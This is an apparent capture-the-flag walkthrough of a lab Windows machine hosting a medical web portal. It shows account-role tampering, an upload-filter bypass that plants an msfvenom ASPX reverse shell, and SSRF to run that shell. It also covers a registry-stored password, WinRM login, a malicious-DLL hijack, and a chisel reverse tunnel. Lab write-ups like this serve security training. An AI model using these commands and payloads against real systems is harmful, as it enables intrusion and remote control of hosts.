Week 5. Appsanity

TL;DR

This is a Windows 10 machine running a medical web application. Manipulating HTTP requests we can get privileged access in the application and upload a malicious .aspx shell. To execute the shell an SSRF attack is used. Regarding escalation, reversing of a .NET local service with dnSpy is needed, and also reversing of an executable with Ghidra.

KEYWORDS

Insecure file upload, SSRF, reversing, dnSpy, Ghidra, port forwarding.

REFERENCES

https://github.com/dnSpy/dnSpy

ENUMERATION

Port scan.

> nmap $target -p- -T4 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-31 10:08 EDT
Nmap scan report for 10.129.190.19
Host is up, received user-set (0.067s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
80/tcp   open  http    syn-ack
443/tcp  open  https   syn-ack
5985/tcp open  wsman   syn-ack
 
Nmap done: 1 IP address (1 host up) scanned in 95.04 seconds

Enumerate the open ports.

> nmap $target -p80,443,5985 -sV -sC -Pn -vv
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-31 10:12 EDT
Nmap scan report for meddigi.htb (10.129.190.19)
Host is up, received user-set (0.066s latency).
Scanned at 2023-10-31 10:12:17 EDT for 22s
 
PORT     STATE SERVICE REASON  VERSION
80/tcp   open  http    syn-ack Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://meddigi.htb/
443/tcp  open  https?  syn-ack
5985/tcp open  http    syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
 
Nmap done: 1 IP address (1 host up) scanned in 22.76 seconds

Add to hosts file and fuzz for hidden subdomains on port 443.

> ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --fc 404 -t 100 -u https://meddigi.htb -H "Host: FUZZ.meddigi.htb"
 
        /'___\  /'___\           /'___\      
       /\ \__/ /\ \__/  __  __  /\ \__/      
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\     
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/     
         \ \_\   \ \_\  \ \____/  \ \_\      
          \/_/    \/_/   \/___/    \/_/      
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : https://meddigi.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.meddigi.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 404
________________________________________________
 
portal                  [Status: 200, Size: 2976, Words: 1219, Lines: 57, Duration: 3394ms]
:: Progress: [4989/4989] :: Job [1/1] :: 163 req/sec :: Duration: [0:00:24] :: Errors: 0 ::

Add subdomain to hosts file and browse with Firefox.

We notice we cannot access the HTTP 80 service externally. Take note of this because this service can maybe be accessed internally later if we find a place to launch an SSRF attack.

USER

Sign up a new account and intercept the request. You can see there is a parameter called AccType set to "1". Manipulate it with Burpsuite and set it to "2", forward the request and log in using the recently created account. Verify we have made ourselves a doctor account.

We also notice in the cookie editor we have been granted an access token.

We can reuse this token to get access to the portal reserved for doctors. Just browse the site https://portal.meddigi.htb, fill in the email ID with the one you chose when signing up and enter the access_token with the cookie editor.

Click on "Login" and you are inside the doctors panel.

Move to the "Upload report" tab. If you try to upload a shell, there is an extension filter ongoing which only accepts PDF files. Experimenting with the filter, we find out the backend only checks the file magic bytes, and it does not check file extensions.

Prepare an msfvenom ASPX shell.

> msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.xxx.xxx lport=1919 -f aspx -a x64 --platform windows

To upload the shell, navigate to the "Upload report" tab.

Upload any PDF at hand and intercept the request, keep the PDF magic bytes and remove the rest. Copy the msfvenom shell and change the filename and to an .aspx extension, forward the request and let the upload finish.

To execute the shell, navigate to the "Issue prescriptions" tab and in the prescription link try an SSRF attack. Enter the URL http://127.0.0.1:8080 to view all the medical reports that have been uploaded, in the output you can view the path of the malicious uploaded report.

.../ViewReport.aspx?file=f6673d08-592a-44a3-a863-da678b74e0b4_document.aspx

To execute the .aspx shell, use the SSRF vulnerability again pointing to the uploaded shell path we have just disclosed.

http://127.0.0.1:8080/ViewReport.aspx?file=f6673d08-592a-44a3-a863-da678b74e0b4_document.aspx

A reverse shell is received that can be used to retrieve the user flag.

SYSTEM

Enumerate the user and the system.

> whoami
appsanity\svc_exampanel

> systeminfo
Host Name:                 APPSANITY
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19045 N/A Build 19045
System Type:               x64-based PC

> net user
User accounts for \\APPSANITY
 
-------------------------------------------------------------------------------
Administrator            DefaultAccount           devdoc                  
Guest                    svc_exampanel            svc_meddigi              
svc_meddigiportal        WDAGUtilityAccount      
The command completed successfully.

Remember there was a 5985 service open? Let's see who is allowed to use it.

> net localgroup "remote management users"
 
Alias name     remote management users
Comment        Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.
 
Members
-------------------------------------------------------------------------------
devdoc
 
The command completed successfully.

It seems our next goal is to move laterally to user devdoc to gain winRM remote access.

After largely enumerating the file system, we find this DLL.

c:\inetpub\ExaminationPanel\ExaminationPanel\bin\ExaminationManagement.dll

This is decompiled with dnspy, a tool for reversing .NET applications (https://github.com/dnSpy/dnSpy), and we find several calls to a registry key software\meddigi

Next step is to query the register. You can find a password in key HKEY_LOCAL_MACHINE\software\meddigi. The password is 1g0tTh3R3m3dy!!

If you spray the password with crackmapexec you'll find the password works for user devdoc. Use the local users list we have previously enumerated.

> evil-winrm -u devdoc -p '1g0tTh3R3m3dy!!' -i meddigi.htb

Turns out that under this user's context we can browse this folder.

c:\program files\reportmanagement

Where we find the file reportmanagement.exe. Reversing the binary with Ghidra, we find out it uses DLL files located in the libraries folder when running the upload command.

So our next step is to place a malicious DLL in that folder. This payload can be generated with msfvenom. We will name it externalupload.dll. Copy the malicious DLL into the path c:\program files\reportmanagement\libraries\externalupload.dll

> msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.xxx.xxx lport=9001 -f dll -a x64 --platform windows > externalupload.dll

Investigating how to launch the process, we discover it is internally running on port 100.

> netstat -ano
 
Active Connections
 
  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:100            0.0.0.0:0              LISTENING       4432
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       904
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       1196
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       4

To forward this port to our attacking machine we use chisel

> ./chisel64 server -p 8000 --reverse
> .\chisel64.exe client 10.10.xxx.xxx:8000 R:100:127.0.0.1:100

In order to trigger the reverse shell we just need the application running on port 100 to make use of our malicious DLL. Connect to the application an run command upload externalupload. A reverse shell is received on port 9001.